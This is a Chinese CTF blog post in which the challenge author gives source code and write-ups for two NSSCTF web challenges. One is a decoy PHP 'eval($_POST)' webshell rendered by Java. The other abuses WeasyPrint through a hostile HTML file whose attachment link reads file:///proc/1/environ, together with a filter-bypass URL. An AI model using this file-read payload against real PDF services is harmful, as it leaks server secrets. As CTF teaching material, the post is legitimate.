NSSCTF Round#20 Basic 真亦假,假亦真 CSDN_To_PDF V1.2 出题笔记 (附wp+源码)

真亦假,假亦真

简介:java伪造php一句话马。实则信息泄露一扫就出,flag在/flag里面。

题目描述:开开心心签个到吧,祝各位师傅们好运~

静态flag:NSS{Checkin_h4v3_4_g00D_tINNe!}

/路由显示

<?php
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);

//标准一句话木马~
eval($_POST[1]);
?>
docker build -t toftoffff . && docker run -d --name=toftoffff -p 9029:9029 --rm toftoffff

WP:

开题

image-20240306003334659

做好事不留名,那我Jay17当然不干好事啦

image-20240306003359140

你不会真去getshell了吧,不会吧不会吧

image-20240306003437025

其实这只是Java伪造的一句话,源码:

package org.nss.nss_true_boot01;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class TestController {

    @GetMapping("/")
    @ResponseBody
    public String index() {
        return "<!DOCTYPE html>" +
                "<html>" +
                "<head><title>签到题题题</title></head>" +
                "<body>" +
                "<h1>" +
                "签到题,直接送大家shell了,做好事不留名,我叫Jay17(6s后页面跳转)<br>" +
                "</h1>" +
                "<script>" +
                "setTimeout(function() {" +
                "    window.location.href = '/shell.php';" +
                "}, 6000);" +
                "</script>" +
                "</body>" +
                "</html>";
    }



    @GetMapping("/shell.php")
    public String shell(){
        String htmlContent = "<!DOCTYPE html>" +
                "<html>" +
                "<body>" +
                "<code><span style=\"color: #000000\">" +
                "<span style=\"color: #0000BB\">&lt;?</span><span style=\"color: #DD0000\">php</span><br />" +
                "error_reporting</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">0</span><span style=\"color: #007700\">);" +
                "<br /></span><span style=\"color: #0000BB\">header</span><span style=\"color: #007700\">(</span><span style=\"color: #DD0000\">" +
                "'Content-Type:&nbsp;text/html;&nbsp;charset=utf-8'</span><span style=\"color: #007700\">);" +
                "<br /></span><span style=\"color: #0000BB\">highlight_file</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">" +
                "__FILE__</span><span style=\"color: #007700\">);" +
                "<br /><br /></span><span style=\"color: #FF8000\">//标准一句话木马~" +
                "<br /></span><span style=\"color: #007700\">eval(</span><span style=\"color: #0000BB\">$_POST</span><span style=\"color: #007700\">[" +
                "</span><span style=\"color: #0000BB\">1</span><span style=\"color: #007700\">]);" +
                "<br /></span><span style=\"color: #0000BB\">?&gt;</span>" +
                "</span>" +
                "</code>" +
                "</body>" +
                "</html>";
        return htmlContent;
    }


    @PostMapping("/shell.php")
    public String shellhhhh(){
        String htmlContent = "<!DOCTYPE html>" +
                "<html>" +
                "<body>" +
                "<code><span style=\"color: #000000\">" +
                "<span style=\"color: #0000BB\">&lt;?</span><span style=\"color: #DD0000\">php</span><br />" +
                "error_reporting</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">0</span><span style=\"color: #007700\">);" +
                "<br /></span><span style=\"color: #0000BB\">header</span><span style=\"color: #007700\">(</span><span style=\"color: #DD0000\">" +
                "'Content-Type:&nbsp;text/html;&nbsp;charset=utf-8'</span><span style=\"color: #007700\">);" +
                "<br /></span><span style=\"color: #0000BB\">highlight_file</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">" +
                "__FILE__</span><span style=\"color: #007700\">);" +
                "<br /><br /></span><span style=\"color: #FF8000\">//标准一句话木马~" +
                "<br /></span><span style=\"color: #007700\">eval(</span><span style=\"color: #0000BB\">$_POST</span><span style=\"color: #007700\">[" +
                "</span><span style=\"color: #0000BB\">1</span><span style=\"color: #007700\">]);" +
                "<br /></span><span style=\"color: #0000BB\">?&gt;</span>" +
                "</span>" +
                "</code>" +
                "真是shell我能给你?"+
                "</body>" +
                "</html>";
        return htmlContent;
    }


    @GetMapping("/flag")
    public String flag(){
        return "真是shell我能给你?不过flag真给你,师傅们玩的愉快~:NSS{Checkin_h4v3_4_g00D_tINNe!}";
    }


}

如何破局?其实假的一句话木马我有给hint,我故意调错了颜色

image-20240315190040053

同时,flag路由扫一下就出来了。

image-20240306003756559

image-20240306003830473

CSDN_To_PDF V1.2

简介:python WeasyPrint 的漏洞,之前出现过:[FireshellCTF2020]URL TO PDF(BUU)、2023羊城杯决赛(未公开环境)。我进行过二开,加大了一点难度,可以从代码逻辑缺陷入手绕过

hint:

WeasyPrint

必须包含blog.csdn.net

会过滤替换字符串html

文件夹名字可以是blog.csdn.net

题目描述:几年前的自用版CSDN博客PDF转换器

源码:

from flask import Flask, request, jsonify, make_response, render_template, flash, redirect, url_for
import re
from flask_weasyprint import HTML, render_pdf
import os

app = Flask(__name__)

URL_REGEX = re.compile(
    r'http(s)?://'
    r'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
)


def is_valid_url(url):
    if not URL_REGEX.match(url):
        return False
    if "blog.csdn.net" not in url:
        return False

    return True


@app.route('/', methods=['GET', 'POST'])
def CsdnToPdf():
    if request.method == 'POST':
        url = request.form.get('url')
        url = url.replace("html", "")
        if is_valid_url(url):
            try:
                html = HTML(url=url)
                pdf = html.write_pdf()
                response = make_response(pdf)
                response.headers['Content-Type'] = 'application/pdf'
                response.headers['Content-Disposition'] = 'attachment; filename=output.pdf'

                return response
            except Exception as e:
                return f'Error generating PDF', 500
        else:
            return f'Invalid URL! Target web address: ' + url
    else:
        return render_template("index.html"), 200


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

docker build -t csdntopdf . && docker run -d -p 9030:8080 --name csdntopdf -e FLAG=NSSCTF{test_flag} --rm double_pickle

WP:

开题:

image-20240307153300025

源码不知道需不需要给,算了不给了,你们搞黑盒吧,hint都有。

hint如下,能不能发现看大家啦:

1、url不符合要求的话,会返回Invalid URL! Target web address:xxxxx,可以发现我吧字符串html替换为空,双写绕过就行

2、题目提到了CSDN博客PDF转换器,所以url必须包含blog.csdn.net,看起来无法绕过,但是你看看源码就懂了,前端源码我有给hint,我的css文件用的是:http://120.46.41.173/Jay17/blog.csdn.net/templates/index.css,服务器上有个文件夹是不是叫blog.csdn.net,就这样绕,有想法的师傅可能还能在我的vps同目录下发现源码哦~

3、功能是转换成PDF,后端是python。不难想到是WeasyPrint ,这是一个 Python 的虚拟 HTML 和 CSS 渲染引擎,可以用来将网页转成 PDF 文档。旨在支持 Web 标准的打印

原题wp可以看看y4✌的:[BUUCTF][FireshellCTF2020]URL TO PDF-CSDN博客

首先探测一下漏洞:

http://120.46.41.173:9023/blog.csdn.net

image-20240315192008934

vps上文件test.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
</head>
<body>
<link rel="attachment" href="file:///proc/1/environ">
</body>
</html>

我们利用python WeasyPrint 的方法是:

payload:

http://vps-ip/link.html

这题利用方法:

payload:

http://120.46.41.173/Jay17/blog.csdn.net/link.hthtmlml

拿到PDF后,binwalk -e 文件名

image-20240315192621557

image-20240315193025817

赛题测试:

image-20240327152434430

  • 27
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Jay 17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值